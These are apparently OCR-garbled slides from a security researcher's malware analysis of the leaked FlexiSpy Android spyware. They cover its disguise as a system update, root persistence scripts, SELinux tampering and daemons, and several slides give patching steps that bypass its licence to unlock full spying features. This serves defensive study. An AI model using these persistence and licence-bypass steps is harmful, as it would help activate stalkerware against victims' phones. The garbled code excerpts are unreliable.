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About Me

e Security Researcher
* Focus on android security including malware analysis and vulnerability research

* Finding vulnerability, vulnerability analysis and found more than 30 vulnerabilities
in products(MS Office, Android, Adobe Reader, Flash Player, Safari, PCRE Library,
QuickTime Player, etc) from Microsoft, Google, Apple, Adobe, etc.

* Top 100 Security Researcher ranked by Microsoft in 2016
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Background

* What is FlexiSpy for Android?

Spy on Any Android
Cell Phone Or Tablet

The world's only Android Spy App
With Full IM Tracking, VolIP Call
Recording & Live Call Interception

What is FlexiSPY?

FlexiSPY for Android is monitoring software that lets you spy on most Android
devices. Also known as 'spyphone’ or spy app, FlexiSPY lets you take total control
of an Android mobile phone or tablet and spy on all its communications and
activities from any computer with a web browser. Use FlexiSPY to monitor
employees, protect your children.

What Can The FlexiSPY Android Spy App Do?

Qur Android spy app provides monitoring of all forms of messaging and
application usage, tracking of GPS locations, live listening and recording of phone
calls and device surroundings, as well as alerts and reporting of important data.
Unlike other Android spy apps, FlexiSPY spies on the 14 most popular instant
messaging services, provides live call interception & spycalls. With over 150
features, FlexiSPY delivers information no other Android spy app can.
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Background

On April 22 2017, Flexidie released the source code and binaries for FlexiSpy’s android spyware.

E Te-k / flexidie ® Watch~ 78 | W Star | 680 ¥ Fok 730

<> Code Issues 0 Pull requests 0 Projects 0 Wiki Insights =

Source code and binaries of FlexiSpy from the Flexidie dump

D 12 commits ¥ 1 branch © 0 releases 28 ? contributors
Branch: master v New pull request Create new file  Upload files | Find file
g, Te-k add Symbian code Latest commit 49a17ad on May 1
| Android update folder name 3 months ago
B BlackBerry/2012-01-11_v.1.03.2 Add new archive and sort code 3 months ago
| Gamma add flexispy code and binaries 3 months ago
| Mac Add new archive and sort code 3 months ago
B Symbian add Symbian code 3 months ago
| binaries Add rewarded binaries 3 months ago
mios Add new archive and sort code 3 months ago
=) README.md add Symbian code 3 months ago




==:RTINET.

Background

* |t can be download from Github https://github.com/Te-k/flexidie

* The leaked version

' '|5002_—2.25.1_green.AF’K| Add new archive and sort code 3 months ago
] 5002_2.24.3_green.APK Add new archive and sort code 3 months ago
E |5002_2.25.2_greer‘|AF*K| Add rewarded binaries 3 months ago

* To start, the version of FlexiSpy for Android | used for this analysis is 5002_-2.25.1. Since then,
version 5002 _2.25.2 has been released. | think that there is a very minor difference between
them. It should not affect our analysis.
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==:RTINET.
First Installation of the Spy App

* It disguises as a system update app. Its package name is com.android.systemupdate.




F:o=RTINET.
First Installation of the Spy App

* The spy app is huge and complicated. After decompiling using Apktool it includes 4090 smali files,
with many files in assets and lib folders inside the APK file.

" platformBuildVersionName="4.0.4- 141
andrnld.nnrmalScrEEns—“.:u:

id™>»

<uges-permission android:name="zndroid.permizsion.BLUETOOTH™ />

<application android:allowBackup="rals=" android:debuggable="tru=" android:label="F=ztr
<activity android:configChanges="1lcoczle™ android:icon="(dr I
<intent-filter>
<action android:name="android.inten
<category android:name=" roid.in
<fintent-filter>
<factivity>
<activity android:keepScreenin="
<activity android:keepScreenin=
<activity android:label="F=ztri
<activity android:keepScreenin:
<service android:name="|com.phoe
<intent-filter>
<action android:name=
<category android:name
</intent-filterx
</f3ervice>
<receiver android:name="f
<intent-filter android:pricrity="2147
<action android:name="android.ir
<acticn android:name
<action android:name
<action android:name=
<action android:name="
<action android:name="
<fintent-filter>
</receiver>

android:name="co
="trus" android:label=

"

"

android:name="
android:name=
client.

-
10
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First Installation of the Spy App

* Entry of the app: The activity com.phoenix.client.PrerequisitesSetupActivity

* The workflow of the first installation of FlexiSpy for Android

11



Server ("com.vvt.rmtctrl.server”,port=12512)
Handle the command RemoteFunction.DEBUG_SWITCH_CONTAINER and
transfer this command to server “wwi.polymorphic.server port:12514"

server "wt.polymorphic.server port:12514°
switchContainer()

setupMewContainer()

PolymorphicHelper :startRootProcess()

1.Create the folder /data/misc/adn,

2.Backup app APK file,

3.Copy files from .fapp_data to /data/misc/adn

4.Install mobile call recording,

5.Setup some executables including busybox,ffmpeg and vdaemon
6.Create the startup script /data/misc/adn/maind

7.Setup reboot hook scripts /system/su.d/0000adam.sh and /system/etc/
install-recovery-2.sh

8.Execute startup script /data/misc/adn/maind

9.Install Xposed hook framewaork

InstallActivity:notifyUser(}

extractPcf(): Extracts the file 5002 in assets folder to
/data/data/com.android.systemupdate/app_data/5002, which is the
configuration file of the spy app.
extractUtilities(): Extracts some utilities in assets folder to
/data/data/com.android.systemupdate/app_data/, which includes
busybox,panzer,ffmpeg and vdaemon.

That’s the method in the class AppEngine.
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ServiceHandler:handleMessage

PrerequisitesSetupActivity:-onCreate() start server "wit.polymorphic.server port:12514” if (Shel10til [isDeviceRooted(]) { P Checkif the device is rooted, my device has been rooted.
: if (PrerequisitesSetuphetivity LOGW) {

Falog.v("PrerequisitesietupActi
_ AppServiceContainerstartAppEngine() !

hoolean vl = thisIsthmCard.NotPresentNotlflcamn{) :|

vity", "onEngineOperationFinish # Device is rooted ...");

CoreService: onCreate() AppEngine:startEngine() lr(‘F’:Efe_-”l‘-llﬁltaﬁ_SEt“PACtl‘mY‘LUGV) {
1.load product configuration goto 1 H
2.Start remote control server "com.wwt.rmtctrl.server12512" }
PrerequisitesSetupActivity$1:onServiceConnected() SLETE LG sl FenErE
= Fxlog.v quisitesSetupActivity’, "onEngineOperationFinish 4 Did Show SimCard Not Presentlotifica
goto

PrerequisitesSetupActivity :initialize() CoreService: broadcastFinish() }
iffd) [
PrerequisitesSetupActivity:startAppEngine() PrerequisitesSetupActivity:onEngineOpertaionFinish() ’-T-liﬁjbu_ﬂcrﬂﬂ
11c void rut

1 (this.getString (213103416

if{!Prerequisitead ty.this. isFinishingl)) {
is) .secCancelable false) i 2itesSetup 2131034139} ) .zer?
Applnstance : startAppEngine showSimCardNotPresentNotification() o ;;;'-:?"[---'Eﬂﬂ-lﬂl-‘f 1se) quisitesserip n(2131034159) ) . 3et
argl.dismiss();
if(
startService() PrerequisitesSetupActivity:showlInstallScreen()
start InstallActivity.

CoreService: onStartCommand()
Send a message to service handler

InstallActivity:onCreate() Server ("com.vwwt.rmtctrl.server” port=12512) }

Handle the command RemoteFunction.DEBUG_SWITCH_CONTAINER and
transfer this command to server "wwt.polymorphic.server port:12514"

bindCoreService()

InstallActivity$1: onServiceConnected() server M'p‘:::i::;rcp:r:t;i:% port12514

InstallActivity:initialize() tupNewContainer()
setupNewContainer

InstallActivity:checkSuStatus() .
" ot PolymorphicHelper :startRootProcess()
SliEra Gy 8 reapERe S il EER 1.Create the folder /data/misc/adn,
2.Backup app APK file,
3.Copy files from .fapp_data to /data/misc/adn
selectiode() 4.Install mobile call recordilng, )

send message to handler 5.Setup some executables including busybox,ffmpeg and vdaemon
6.Create the startup script /data/misc/adn/maind
7.Setup reboot hook scripts /system/su.d/0000adam.sh and /system/etc/
install-recovery-2.sh

Handler:handleMessage() 8.Execute startup script /data/misc/adn/maind
G.Install Xposed hook framewaork

InstallActivity:processModeChange()
Send command RemoteFunction.DEBUG_SWITCH_ InstallActivity:notifyUser()
CONTAINER to server ("com.vwt.rmtctrl.server” por
1=12512)




PrerequisitesSetupActivity:onCreate(}
bindCoreService()

CoreService: onCreate()
PrerequisitesSetupActivity$1:onServiceConnected()
PrerequisitesSetupActivity :initialize()
PrerequisitesSetupActivity:startAppEngine()
Applnstance : startAppEngine
startService()

CoreService: onStartCommand()

Send a message to service handler

InstallActivity:onCreate()
bindCoreService()

InstallActivity$1: onServiceConnected()
InstallActivity:initialize()

InstallActivity:checkSuStatus()
show a dialog to request a root privileage

selectMode(}
send message to handler

Handler:handleMessage()

InstallActivity:processModeChange()
Send command RemoteFunction.DEBUG_SWITCH_
CONTAINER to server ("com.vvt.rmtctrl.server” por
1=12512)

ServiceHandlerhandleMessage
start server "vvt.polymorphic.server port:12514"

AppServiceContainerstartAppEngine()

AppEngine:startEngine()

1.Load product configuration

2.Start remote control server “com.vvt.rmtctrl.server:12512"
3.Construct components

CoreService: broadcastFinish()

PrerequisitesSetupActivity:onEngineOpertaionFinish(}

showSimCardNotPresentMNotification()

PrerequisitesSetupActivity:showlnstallScreen()
start InstallActivity.

Server ("com.vvt.rmtctrl.server”,port=12512)
Handle the command RemoteFunction.DEBUG_SWITCH_CONTAINER and
transfer this command to server “wwt.polymorphic.server port:12514"

server "vwt.polymorphic.server port:12514"
switchContainer()

setupNewContainer()

phicHelper :startRootProcess()
1.Create the folder /data/misc/adn,
2.Backup app APK file,
3.Copy files from ./app_data to /data/misc/adn
4.Install mobile call recording,
5.Setup some executables including busybox, ffmpeg and vdaesmon
6.Create the startup script /data/misc/adn/maind
7.Setup reboot hook scripts /system/su.d/0000adam.sh and /system/etc/
install-recovery-2.sh
8.Execute startup script /data/misc/adn/maind
S.Install Xposed hook framework

InstallActivity:notifyUser()

The next screen is Superuser
request which will remain visible
for 10 seconds.

Tap the GRANT option before the
screen disappears.

Next
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Server ("com.vvt.rmtctrl.server”,port=12512)
Handle the command RemoteFunction.DEBUG_SWITCH_COMNTAINER and
transfer this command to server "wwt.polymorphic.server port:12514"

server "wwt.polymorphic.server port:12514"
switchContainer()

setupNewContainer()

PolymorphicHelper :startRootProcess()

1.Create the folder /data/misc/adn,

2.Backup app APK file,

3.Copy files from .fapp_data to /data/misc/adn

4.Install mobile call recording,

5.5etup some executables including busybox ffmpeg and vdaemon
6.Create the startup script /data/misc/adn/maind

7.Setup reboot hook scripts /system/su.d/0000adam.sh and /system/etc/
install-recovery-2.sh

8.Execute startup script /data/misc/adn/maind

9.Install Xposed hook framework

InstallActivity:notifyUser()

stopAppEngine(): Stops app engine and closes the server socket

com.vvt.rmtctrl.server:12512.

stopServer():Closes the remote server socket vvt.polymorphic.server:12514.
Sets up a new container and starts the remote server

vvt.polymorphic.server:12514.

relocateData(): Copies files [fx.log, 5002, system_url.dat, phoenix_db.db,

phoenix_db.db-journal,preferences.dat, ddmmgr.db, ddmmgr.db-journal, events.db,

events.db-journal,app_container_info.dat] from

/data/data/com.android.systemupdate/app_data

to /data/misc/adn.

execute(): Remotely starts app engine again and starts remote server

com.vvt.rmtctrl.server:12512.




PrerequisitesSetupActivity:onCreate(}

- bindCorssenvice)
CoreService: onCreate()
PrerequisitesSetupActivity$1:onServiceConnected()
PrerequisitesSetupActivity :initialize(}
PrerequisitesSetupActivity:startAppEngine()
Applnstance : startAppEngine
startService()

CoreService: onStartCommand()

Send a message to service handler

InstallActivity:onCreate(}
bindCoreService()

InstallActivity$1: onServiceConnected(}
InstallActivity:initialize()

InstallActivity:checkSuStatus()
show a dialog to request a root privileage

selectMode()
send message to handler

Handler:handleMessage()

InstallActivity:processModeChange()
Send command RemoteFunction.DEBUG_SWITCH_
CONTAINER to server ("com.vvt.rmtctrl.server”,por
1=12512)

ServiceHandlerhandleM

start server "vvt.polymorphic.server p‘::vrt:12514'

AppServiceContainer:startAppEngine()

AppEngine:startEngine()

1.Load product configuration

2.Start remote control server “com.vvt.rmtctrl.server;12512"
3.Construct components

The folder /system/su.d should be a daemon directory for SuperSu,

the scripts in this directory are executed when the device is booted.

CoreService: broadcastFinish()

PrerequisitesSetupActivity:onEngineOpertaionFinish(}

showSimCardNotPresentNotification()

PrerequisitesSetupActivity:sh 10
start InstallActivity.

Server ("com.vvt.rmtctrl.server”, port=12512)
Handle the command RemoteFunction.DEBUG_SWITCH_CONTAINER and
transfer this command to server “wwitpolymerphic.server port:12514"

[ -e /data/mi

server "wit.polymorphic.server port:12514" .
switchContainer() 18

/data/misc/adn/busybox pgrep maind

/data/misc/adn/maind 1

setupNewContainer()

PolymorphicHelper :startRootProcess()

1.Create the folder /data/misc/adn,

2.Backup app APK file,

3.Copy files from ./app_data to /data/misc/adn

4.Install mobile call recording,

5.5etup some executables including busybox ffmpeg and vd
6.Create the startup script /data/misc/adn/maind
7.Setup reboot hook scripts /system/su.d/0000adam.sh and /systemy/\
install-recovery-2.sh
8.Execute startup script /data/misc/adn/maind
9.Install Xposed hook framework

InstallActivity:notifyUser(
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PrerequisitesSetupActivity:onCreate()
 bindCoreService)
CoreService: onCreate()
PrerequisitesSetupActivity$1:onServiceConnected()
PrerequisitesSetupActivity :initialize()
PrerequisitesSetupActivity:startAppEngine()
Applnstance : startAppEngine
startService()

CoreService: onStartCommand()

Send a message to service handler

InstallActivity:onCreate()
bindCoreService()

InstallActivity$1: onServiceConnected()
InstallActivity:initialize()

InstallActivity:checkSuStatus()
show a dialog to request a root privileage

selectMode()
send message to handler

Handler:handleMessage()

InstallActivity:processModeChange()
Send command RemoteFunction.DEBUG_SWITCH_
CONTAINER to server ("com.vwt.rmtctrl.server” por
1=12512)

ServiceHandler:handleMessage
start server "wwt.polymorphic.server port:12514"

AppServiceContainerstartAppEngine()

AppEngine:startEngine()
1.load product configuration

2.5tart remote control server “com.wwt.rmtctrl.server12512"

3.Construct components

CoreService: broadcastFinish{)

PrerequisitesSetupActivity:onEngineOpertaionFinish()

showSimCardNotPresentNotification()

PrerequisitesSetupActivity:showlnstallScreen()

start InstallActivity.

Server ("com.vvt.rmtctrl.server™,port=12512)
Handle the command RemoteFunction.DEBUG_SWITCH_CONTAINER and
transfer this command to server "wvt.polymorphic.server port:12514"

server "vvt.polymorphic.server port:12514"

switchContainer()

setupNewContainer()

PolymorphicHelper :startRootProcess()
1.Create the folder /data/misc/adn,

2.Backup app APK file,

3.Copy files from .fapp_data to /data/misc/adn
4.Install mobile call recording,

5.Setup some executables including busybox,ffmpeg and vdaemon

6.Create the startup script /data/misc/adn/maind

7.Setup reboot hook scripts /system/su.d/0000adam.sh and /system/etc/

install-recovery-2.sh
8.Execute startup script /data/misc/adn/maind
G.Install Xposed hook framewaork

InstallActivity:notifyUser()

_

Executes command “/data/misc/adn/busybox reboot -f” to reboot device.

It hides SuperSu in full mode and prompts a dialog
to indicate the user to reboot the device.




==:RTINET.
First Installation of the Spy App

* The spy app is designed sophisticatedly and rather complicated.
* |nstall the startup script.

* Indicate the user to reboot the device

e Execute the startup script when rebooting device.

18
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==:RTINET.
Startup Script

* The startup script /system/su.d/0000adam.sh could be executed when reboot.

[ -e /data/misc/adn/busybox ]

1@
fdata/misc/adn/busybox pgrep maind Sdev/null

Jdata/misc/adn/maind 1

* maind: Use app_process to execute the class com.vvt.daemon.MainDaemonMain.

LD_LIBRARY PATH-/system/lib:/data/misc/adn
(L TH=/data/misc/adn/maind.

app_process /system/bin com.vvt.daemon.MainDaemonMain 3*

20



=:RTINET.
Startup Script

* What does the class MainDaemonMain do?
= |t first initializes the log file /data/misc/adn/fx.log. All log info could be written into this log.
= switchSELinuxModelfNeeded(): Switches SELinux mode to PERMISSIVE if need.
= patchSeLinux(): This is used to patch SELinux on Samsung device with android 4.4 or later.
= syncMonitor: Executes startup script /data/misc/adn/pmond.
= syncBug: Executes startup script /data/misc/adn/callmond.
= syncSystemDaemon: Changes the shell to 'system' user and executes startup script /data/misc/adn/psysd.

= prepareServerSocket: Creates LocalServerSocket "socket:com.fx.socket.psysd" to communicate for the crossing
process.

startServer: In RootProcessContainer, it creates server socket:vvt.polymorphic.server port:12514 and starts server.

startRoutineTask: Starts routine tasks(syncMonitor and syncBug) , which are executed repeatedly at regular intervals
with Timer.

startAppEngine: Starts app core engine by sending a command to the remote server
"vvt.polymorphic.server:12514" started in the method startServer().

21



==:RTINET.
Startup Script

* 4 daemon scripts could be executed during execution of maind
= /data/misc/adn/pmond is a process monitoring daemon.




==:RTINET.
Startup Script

* After rebooting the device, we can see these daemon processes are always running.

c81b922
Tt > maind
d

@hammer

-Q

* Server "vvt.polymorphic.server port:12514“: handles commands related to the container.

* Server "com.vvt.rmtctrl.server port:12512”: handles the remote control commands related to spy
activities.
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- - - private woid initialize() {
if (PrerequisitesSetuphctivity.LoGV) |
Falog.d("PrerequisitesSetuphctivity”, "initialize # ENTER ...");
- - - }

if (this.mRemoteControl == null) |
try |
|this .mRemotelontrol = RemotelontrolHelper.getRemoteControl(); |
O I OW O | O u c catch (RemoteControlException v2) |

1

if (this.mRemotelontrol == null) {
if (PrerequisitesSetuplctivity.LOGV) {
FxLog.d("PrerequisitesSetuphActivity”, "initialize # Remote Control is not created");

* Look into the execution of launching
the class PrerequisitesSetupActivity.

® The return value of getRemote(

1

boolean v0 = this.igFiratlaunch();
if (PrerequisitesSetuplctivity.LOGV) {

FxLog.d({"PrerequisitesSet 'initialize # first launch ? &s", new Ckject[]{Bcoclean.valueOf(v0)1);

}
"com.vvt.rmtctrl.server:12512" SO SR § sstcm Update
then invoke the method postini ) I
this. startAppEnglne{J ou can activate this pro uct 1 you have a License Key.
= The return value of isFullMode , S

boolean vl = WaitTasks.require
if (PrerequisitesSetuplctivity. N
Fxlog.d("PrerequisitesSetu Actlvate w Cbiject[] {Boolean.valueDf(vl)});

show the activation screen.

1

if@l) | Mode: Full

new MainDaemonWaitTask (thi

private wvoid postInitialize() [
boolean vl =|this.iszFullMode(): |

if (PrerequisitesSetuplctivity.LOGV) |

FxLog.d{"PrerequisitesSetuphdctivity”, "postInitdh

1

if(+1) {
| this.showActivationScreen()
this.finish({);

1

if (PrerequisitesSetuphctivity
Fxalog.d("PrerequisitesSet



==RTINET.
Workflow of Product Activation

* Couldn’t find the license key for the spy app in the leaked material. So, in order to analyze how
the spy app launches its spying activities, we need to bypass the license.

* |nput a random activation code and click the button “Activate”.

o m ]
'el System Update

You can activate this product if you have a License Key.

Activate

Mode: Full ‘ ) Connection Error
Activate Software

Unable to connect to server.
Check your internet connection

) Activating product. This may take and try again,

amoment...

OK




F::RTINET.
Workflow of Product Activation

 The thread of activation

new Thread("ActivationThread", argé) [

public void zrun() |
T H
Ml: i vat ionResponsedrgs vé = new ActivationResponsshrgs():
Emtltrlinputhctivation v2 = new EmtCrrllnputActivation():
v2.gethctivationlode (this. velfactivationCods) ;
ControlCommand vl = new ControlCommand():
vl.setFunction (RemoteFunction. ACTIVATE FRODUCT) ;
VI.setlata (vals
try |

Object v5 =| ActivaticnBerivicy.this.mRemoteControl.execute (vi): I
vé.sectSucceas (| (RmeCrrlhctivatefutputStatuskessage)vs) .isSuccess())
vE.setRecordinghudicSourceStatusCode | { (RmcCtrlictivateQutputStatusMessage)vs) . getRecordingAudioSourceStatusCode()) ;
v6.setErrorCode | { (AmeCrrlictivatefutputStatusiessage) v5) .getErrorCade () ) ;
if({ (AmtCtrlActivateCutputStatuaMessage) ws) . isSucceas ()} |
w4 = Rct L\rat.lc:n.hctlu ty.this.getString (2131034149) ;

v4 = ((BmtCtrlActivateQutputStatuaMessage)vs).getMessage();
}

catch (RemoteConcrolException vi) |
if (Retivationhetivity. LOGE) [
Fxlog.e("ActivationActivity activateProduct # Error: &s5", new Object[]{v3.getMessage()}):

)

vd = vi.getMessage():

vE. ae:Meauqu-l] :
RerivationActivity.this. mFandler. sendMessage (Activationhetivity.this.mfandler.obtainMessage (223, vE)):

)
}.szarc{);

* Handling the command RemoteFunction.ACTIVATE_PRODUCT

labe l 99:
viZ_& = this|processictivate (w33,

goto label 21;
27

this.mComponent.activationManager, this.mComponent.licenseManager):




F::RTINET.
Workflow of Product Acti

After tracing codes, the method onFinish() cou
com.vvt.activation_manager.ActivationManage

If the activation is failed, it could invoke the me
an error "Unable to connect to server.\nCheck
is exactly same as the one we just saw.

If the activation is successful, it could invoke th
license.

Regardless if the activation is successful, it cou
com.vvt.appengine.AppEngine.

public void onFinish(DeliveryResponse argd) |

}

if (BctivationManager.LOGV) |
[Fxlog-v("Activationtanager”,

"onFinish # START ..} |

}

this.mIsProc=ssingRequest = false; .
——— Due to not connecting remote http server, v1 is null.

ResponseData vl = argd.getCSMresponse():
if(vl '= null) |

if (ActivaticnManager.LOGV) {
nager”,

Fxlog.v("ActivationMa "onFinish # CmdEcho: ®s", new Object[]{Integ

}

try {
switch(vl.getCmdEcho()) [
case 2: [
goto 1a
}
case 3: |
goto label 52;
1
case 3: |
goto la

bel 33;

bel 597
1
1

if (ActivationManager.LOGD) {
FxLog.d("ActivationManager",

}

"onFinish # Unhandled command code!");

this. handleRespnnseDea:twa:e (argd);
goto label 27

abel_33:

if (RcrivationManager.LOGD) {
FxLog.d("ActivationManager”, "onFinish # SEND ACTIVATE .."):
1

[ this. handleReaponseActivate (argd,
goto 1abel_277
abel ..-:
if (ActivaticnManager.IOGD) {
FxLog.d("ActivationManager”,

}

this.mProductInfo, this.mPhoneInfo); |

'onFinish # SEND_DEACTIVATE .."):

this. handleRespnnseDea:twa:e (argd);
goto label 27;
abel _59:
if (ActivationManager.LoGD) [
FxLog.d ("ActivationManager",

}

'onFinish # GET ACTIVATION CODE ..");

this.handleResponseGetic (argd) ;
1
catch (Exception v0) |
if (!ActivaticnManager.LOGE) [
goto label 27:

}

FxLog.e("ActivationManager" onfinish # Error: %s", new Object[]{v0.teString()}):

}

goto label 27;

1

this.mLicenseManager.resetlicense();

if (this.mac

ensr = null) |

er.valueOf (vl.getCmdEcho()) }):

If it's successfully for activation, the program could invoke this function.

Listener.onError (ErrorResponseType. ERROR PAVIOAD, -1, ["Unable to comne

ct to server.\nCheck

your internet comnection and try again.’}

if (BctivationManager.IOGE) |
FxLog.e("ActivationManager”, "onFinish # mActivationListener is null");

1

abel_27:
if (hccivationttanager . 2OGV) |
FxLog.v("ActivationManager”,

}

"onFinish # EXIT .."):

V)
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orkflow of Product Activation

* onlLicenseChange() in the class com.vvt.appengine.AppEngine.

public void onlicenseChange() {
if (AppEngine.l0GV) |
FxLog.v{"App

» "onLicen ge # ENTER ..."); public static woid applyCurrentlicense (AppEngineComponent argé) {
if (AppEngineHelper.LOGD) {

Frlog.d("Ar

rineHelper",

CurrentLicense # ENTER ...");

sMansger.getlicenseInfo():
boolean vi Ticensestatu TIVATED 2 true : false;
5 v0 = w2.getActivationCode ()
if (AppEngine.I0GD) {

FXLog.d ("ADE

", "onlLic

%3, AC: 2s", new Object[]{B .valueQf(wvl), wO}); v0.getSupportedFeatures();

if (AppEngineHelper. LOGD) |
FxLog.d("AppEngineHelper",

1

# supported feature:" + vl);

try |
if {(AppEngine.LOGV) {
Fxlog.v (" AppEng:

current lice

4 Apply

1

if (AppEngineHelper.LOGD) {

[2ppEngineHelper. applyCurrenslicense (this.mComponent) ; |

. Fxlog.d (A jineHelper", " currentLicense # rted remote
TEqviy {
if (RppEngine.LOSD) { !
FxLog.d("Ap: ne", "onlLicenseC d # Start send heart beat timer");
} if (AppEngineHelper.LOGD) {

Fxlog.d ("AppEngineHelper”, "applyCurrentLicense # Update remote control’};

this.startGecConfigurationTimer () ;

if (AppEngine.LOGD) { :

FxLog.d("2App ", "onLicensecC Forcing Logouts™);
1 ? = ! AppEngineHelper.updateRemoteControl (argh, w1);

if (AppEngineHelper.LOGD) {

this.forceLogout () : FxLog.d ("AppEngineHelper", pplyCurrentLicense # ture components");
if (this.m t Aut dat Impl == null) { 1

goto 1z
i | EppEngineBelper.updateFeatures (argf, v1, v2); |
this.mComponent.playStoreAutoupdateippsManagermpl. setDisable (true) ; if (RppEngineHelper.LOGD) {
goto labe FxLog.d("Ar jineHelper”, ™ yCurrentLicense # EXIT

1 1

if{v2.getlicenseStatus{) !'= LicenseStatus.NOT ACTIVATED) {
goto lzbel 52

» applyCurrentLicense(): It first gets the current configuration, then gets supported feature and
remote commands depending on the configuration, then updates remote commands and feature
components.
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Workflow of Product Activation

» getCurrentConfiguration(): The configuration id can be gotten from license file, if activation is not
successful, the configuration is -1.

» updateFeatures(): It updates the features including remote command manager, event capture,
spy call, database monitor, etc.

public static wvoid updateFeatures (AppEngineComponent argd, List arglld, Map argll) {
if (AppEngineHelper.LOGD) |
FxLog.d ("AppEngineHelper", "updateFeatures # ENTER ..."):

}

boolean v2 =|arg?.licenseManager.ishctivated (arg?.productInfo, arg9.phonelnfo.getDeviceld()):
try |

FxPreferenceManager v8 = arg%.preferenceManager:

FxPreference v3 = vi.getPreference (FaPreferencelype.EVENTE CTRL) ;

FrPreference v4 = vi.getPreference (FiPFreferencelype.IM CAPTURE SETTINGS) :

FxFreference w5 = vi.getPreference (FxPreferenceType.VOIP CALLRECORDING CAPTURE SETTINGS) ;
AppEngineHelper.manageRemotelommandManager (argd) ;

AppEngineHelper.manageEventCenter(arg9, argll, w2, (({PrefEventaCapture)w3)):
AppEnginelelper.manageEventCapture (arg®, argll, v2, ({PrefEventsCapture)wv3), ((PrefIMCapturelettings)v4), ((PrefVoiplallRecordingCapturelettings)vd), argll):
LppEngineHelper.manageSpyCall {arg%, argld, va2):
AppEnginelelper.manageWatchMotification {(argd, argll, ww2);

LppEngineHelper.manageKeywords (argd, arglld, w2):

LppEngineHelper.manageliddressBock(argd, arglld, w2, ({(PrefEwventsCapture)w3)):
LppEngineHelper.manageBatteryManager (arg%, arglld, w2):
AppEngineHelper.managedpplicationCapture {argd, argll, v, ((FrefEventsCapture)vi)):r
AppEngineHelper.manageCalendarCapture (argd, argll, v2, ((PrefEventsCapture)vid)):r
AppEngineHelper.managedmbientRecorder (argd, argll, v2, ((PrefEventsCapture)wvid)):r
AppEngineHelper.manageDatabaseMonitoring {arg%9, argll, w2, ((FrefEventsCapture)w3)):
AppEnginelelper.managePlayitorebutolUpdateshpp (argd, arglld, v2, ({(PrefEventsCapture)v3)):
LppEngineHelper.managePushiotification{argd);

LppEngineHelper.manageTemporalipplontrel {(argd, argll, +2):

-
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How to Bypass License

* Patch the configuration id.

= The configuration file of FlexiSpy for android is
AES(AES/CBC/PKCS5Padding) algorithm. After
creates configuration list.

AGEMENT,
D_RECORDING,
APPLICATION, s v v
ER, PREVENT L, Al 2 . MANAGEMENT, | Rl 3 4 ionId()I
¥ EO C.

] >
CAPTURE_CALENDAR ,
ER, HIDE_FRC

CAPTURE_!

| NOTIFICATION
[CAPTURE_E

CAP TIIRE co
PREVENT_L

= The list includes some pairs of ID and features. Each ID supported different features. Here we choose ID 210,
supports the following features.

ID: 210, Features: [CAPTURE CALLLOG, CAPTURE SMS, CAPTURE EMATL, CAPTURE MMS, CAPTURE CAMERATMAGE, CAPTURE SOUND RECORDING, CAPTURE VIDEC RECORDING, CAPTURE LOCATION, CRPTURE SYSTEM,
CAPTURE CLLENDAR, CAPTURE CONTACT, CRPTURE IM, CAPTURE BROWSER URL, CAFTURE APPLICATION, CAPTURE HISTORICRL I‘{EDID. CAPTURE_SETTINGS, CAPTURE _VOIP CALLLOG, CRPTURE PASSWORD,

EIH CHANGE _NOTIFICATICN, SPY CALL, S5MS KEYWORD MONITCOR NUMBER, HIDE FROM APP MANAGER, HIDE FROM APP DRAWER, PREVENT UNINSTRLL ADDRESS BOOK | MANAGEI‘-IENT SEND | EIOOKMARKS
SEND_INSIRLLED_RPPS, PUSH | NOIIFICRIIONS CAPTURE_CALL RECORDING RHEIIEN'I RECORDING REMOTE | CRHERR IHAGE SEND DEVICE SETTINGS, CALL | RECORDING WATCH NUMBER, CAPTURE _VOIP CALL RECORDING],

... ... ...
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How to Bypass License

* Patch the method isActivated in the class com.vvt.license. LicenseManagerimpl, we can patch the
function getLicenseStatus and isMd5Valid and have their return value are always true.

public boolean isZctivated(ProductInfo arg®, String argl0) |
boolean v2 = true;
if {LicenseManagerImpl.LOGV) |
Fxlog.v("LicenseManager", "isActivated # ENTER ...");

}

boolean v0 = this.mLicenseInfo.getlLicenseStatus({) == LicenseStatus.ACTIVATED ? true : false;
boolean vl = this.isMdSValid(this.mLicenseInfe, argd, argll);
if (LicenaseManagerImpl.LOGV) {

FxLog.v("LicenseManager", "isActivated # activatedMggs, mdSvalid? &s", new Object[]{Booclean.valueOf (v0), Boolean.valueQf(vl)l);
}
if {(LicenseManagerImpl.LOGV) |
FxLog.v("LicenseManager', "isActivated # EXIT ..."); Patch the return value of function getLicenseStatus()
1 and isMd5Valid() to make both v0 and v1 are true,
iF(Iv0 11 tvl) |
w2 = false;
}
return va;




F::RTINET
How to Bypass License

* Patch the method updateGui in the class com.phoenix.client.ActivationActivity.
* The corresponding java code in the method updateGui () is shown below. This code is located in client.

v1l.setFunction (RemoteFuncticn. GET LICENSE STATUS) ; _'___.*p Due to bvpass |icense the \-'alue is al'-'-'avs 1
Yy ; Way .

|this .MmLicenseStatusValus = argld.execute (vl).intValue(): |
if (Activationfctivity.LOGV) |
Fxlog.v({"ActivationActivity", "updateGui # LicenseStatusvValue: %s", new Chject[]{Integer.valuelf (this.mLicenseStatusValue)l}):

1
| this.mIsActivated = this.mlicenseStatusValue == 0 7 false : true; I-—-*'Here mOd'W Oto la if not it will entr\f this branch to QEt
if (this.mIsActivated) [ config Id, it can cause a exception when get config Id
:;jsetgun;t_lizmemcti‘uncticn-l:Elﬂ';'G_GET_ACTLEL_CGNFIG_ID!-' from licenselnfo, because the licenselnfo is not stored in
is.mConfigld = argld.execute(vl): - .
if (Activationhctivity.LOGV) | local Storage b\}' me.
Fxlog.v{"ActivationfActivity", "updateGui # Get Config Id: ®=", new Cbject[]{this.mConfigId}):
}
}
else {

| thiz.mfonfigld = "Hot :enri:_rure:l":l
if (Activaticonhctivity.LOGV) |
Fxlog.v{"ActivationfActivity", "updateGui # Get Config Id: ®s", new Cbject[]{thisz.mConfigId}):

}
}

L
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How to Bypass License

* Patch the method activate in the class com.vvt.appengine.exec.ExecActivate.

public BmtCtrlictivateCutputStatusMessage activate (RmtCtrlInputletivatien argl0, LicenseManager argll) [
if {(ExecActivate.LOGV) |
Falog.v{"ExecActivate", "activate # ENTER ..."):

- argl0.getActivationCode () ; Patch it to make 'if' statement condition is false.
= argl0.getUrl();
thiz.mOutput = new EmtCtrlictivatelutput3tatusMessage():
if{this.isProductAlreadyActivated(argll)) {
this.m0utput.setSuccess(false);
this.m0utput.setMessage ("Froduct is al dy activated. Your request will not be processed.");
BmtCtrlhctivatelutputStatusMessage w4 = this.mOutput;
return vi;

1

this.mConditionVarisble = new Condi =(false);
